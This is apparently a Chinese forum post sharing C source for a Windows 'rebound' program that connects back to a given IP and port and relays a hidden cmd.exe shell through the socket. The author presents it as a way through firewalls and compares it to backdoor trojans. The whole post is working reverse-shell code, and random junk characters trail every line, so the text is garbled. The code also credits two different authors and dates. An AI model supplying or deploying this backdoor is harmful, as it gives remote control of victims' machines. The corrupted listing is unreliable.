这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。
6o1[fr
!S'!oinV
/* ============================== 8{
+KNqz
Rebound port in Windows NT G '%ZPh89
By wind,2006/7 uf1s}/M
===============================*/ x9o(q`N
#include *^iSP(dg
#include Xb~i?T;f
"H9q%S,FH
#pragma comment(lib,"wsock32.lib") k*rG^imX
j|>^wB
void OutputShell(); #bS}?fj
SOCKET sClient; !y862oKD
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; t9.| i H
(+nnX7V?I
void main(int argc,char **argv) vW0U~(XlN
{ ck$>
WSADATA stWsaData; :7*9W|e
int nRet; H~?7:K
SOCKADDR_IN stSaiClient,stSaiServer; BxiR0snf0q
KP`Pzx
if(argc != 3) WQ9VcCY
{ Ri3*au/Q
printf("Useage:\n\rRebound DestIP DestPort\n"); h^YUu`P
return; yJ>Bc
} g'9~T8i& ^
v=daafO
WSAStartup(MAKEWORD(2,2),&stWsaData); @ %o'
!Ld[`d.|R!
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); },;Z<(
[M#(su0fv
stSaiClient.sin_family = AF_INET; )=!|^M
stSaiClient.sin_port = htons(0); g)}q3-<AK>
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hGI5^!Cq
k_nQmU>
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7e[&hea
{ W!|l_/L'
printf("Bind Socket Failed!\n"); sT,*<^
return; L=5Y^f'aU
} a{Y8hR
Rl
(+TE
stSaiServer.sin_family = AF_INET; /2cn`dR,
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wauM|/KG
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); D|2lBU
hP_{$c{4:g
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i&-g
{ Lie= DD
printf("Connect Error!"); `,Fc271`
return; +.v+Opp,
} ($!g= 7
OutputShell(); paUJq?Af
} zhh6;>P
z`YAOhD*h4
void OutputShell() 8mC$p6Okd
{ (S_1C,
char szBuff[1024]; [KMS/'; ]
SECURITY_ATTRIBUTES stSecurityAttributes; [;#^h/5E
OSVERSIONINFO stOsversionInfo; Bw.?Me)mf|
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )h,}v()qc#
STARTUPINFO stStartupInfo; g(R!M0hdF
char *szShell; 'X~CrgQl
PROCESS_INFORMATION stProcessInformation; 6&btAwvOHx
unsigned long lBytesRead; >}r
1A
lr[&*v?h
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); gu1n0N`b
!N/?b^y
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0IQ|`C.
stSecurityAttributes.lpSecurityDescriptor = 0; KcM+8W\
stSecurityAttributes.bInheritHandle = TRUE; a
fB?js6
{DX1/49
o}Zl/&(
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); u"(2Xer
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); zX8{(
zomg$@j
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;(s.G-9S
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }<q=Zq+
stStartupInfo.wShowWindow = SW_HIDE; lWFm>DiLY
stStartupInfo.hStdInput = hReadPipe; @9g!5dcT
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^t[br6G
2\#~%D>[
GetVersionEx(&stOsversionInfo); zc1~ q
f.RwV+lq
switch(stOsversionInfo.dwPlatformId) 85](,YYz
{ { /Gm|*e{
case 1: W|6.gN]
szShell = "command.com"; lAAP V
break; ^3nB2G.ax
default: 6M bMAh5>
szShell = "cmd.exe"; OKCX>'j:S
break; [ZETyM`
} (N{
,-.=]r/s
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [[Usrbf
9!wm`'G8
send(sClient,szMsg,77,0); ,]=Qgn
while(1) aT=V/Xh}d
{ ScC!?rTW~7
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {\kDu#18Ld
if(lBytesRead) 4OdK@+-8U
{ Ot3+<{
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Of{'A
send(sClient,szBuff,lBytesRead,0); w&}UgtEm
} kN*\yH|
else mh~n#bah
{ cx4'rK.
lBytesRead=recv(sClient,szBuff,1024,0); 1F?ylZ|~
if(lBytesRead<=0) break; 8;P_KRaE
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _1?Fyu&<5
} mGUl/.;yp-
} #J4,mFMr
=_d-MJy~6
return; C5oIl_t
}